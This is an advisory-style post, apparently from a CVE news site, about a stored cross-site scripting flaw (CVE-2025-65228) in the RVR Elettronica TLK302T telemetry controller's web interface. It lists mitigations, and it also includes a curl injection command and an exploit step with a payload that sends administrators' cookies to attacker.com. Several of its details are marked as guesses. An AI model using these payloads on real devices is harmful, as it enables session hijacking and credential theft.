RVR Elettronica TLK302T, Stored Cross-Site Scripting, CVE-2025-65228 (Critical)

Listen to this Post

This vulnerability is a stored (persistent) Cross-Site Scripting (XSS) flaw within the device’s web-based management interface. An attacker can inject malicious JavaScript code into specific input fields or parameters that are not properly sanitized. The injected payload is then permanently stored on the telemetry controller’s system, likely within a configuration page, metric display, or log viewer. When an authenticated administrator later accesses the compromised section of the web interface, the malicious script is automatically loaded and executed within their browser session. This execution occurs in the security context of the management application, granting the script full access to the administrator’s session cookies, tokens, and the interface’s Document Object Model (DOM). Consequently, the attacker can hijack the administrator’s session, steal credentials, alter device settings, redirect the user, or perform any administrative action on the device remotely. The attack requires the attacker to first submit the malicious payload to a vulnerable endpoint, but no further interaction is needed once the payload is stored, making it highly effective.
Platform: R.V.R. Elettronica TLK302T
Version: 1.5.1799
Vulnerability: Stored XSS
Severity: Critical
Date: 12/08/2025

Prediction: 01/08/2026

What Undercode Say:

curl -X POST http://<target>/config -d "param=<script>alert(1)</script>"
grep -r "unsanitized" /web_interface/
python3 xss_probe.py --url http://<target>/metrics
strings firmware.bin | grep -i "filter"

How Exploit:

  1. Identify unsanitized input field (e.g., metric name, log entry).
  2. Craft and submit a JavaScript payload (e.g., <script>fetch('https://attacker.com/?cookie='+document.cookie)</script>).

3. Payload is saved to device storage.

4. Admin views the compromised page.

5. Payload executes, stealing session cookies.

6. Attacker uses cookies for unauthorized access.

Protection from this CVE

Deploy firmware patch

Implement input sanitization

Apply output encoding

Use Content Security Policy (CSP)

Enforce network segmentation

Impact

Administrative session hijacking

Complete device compromise

Telemetry data manipulation

Credential theft

Further network penetration

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top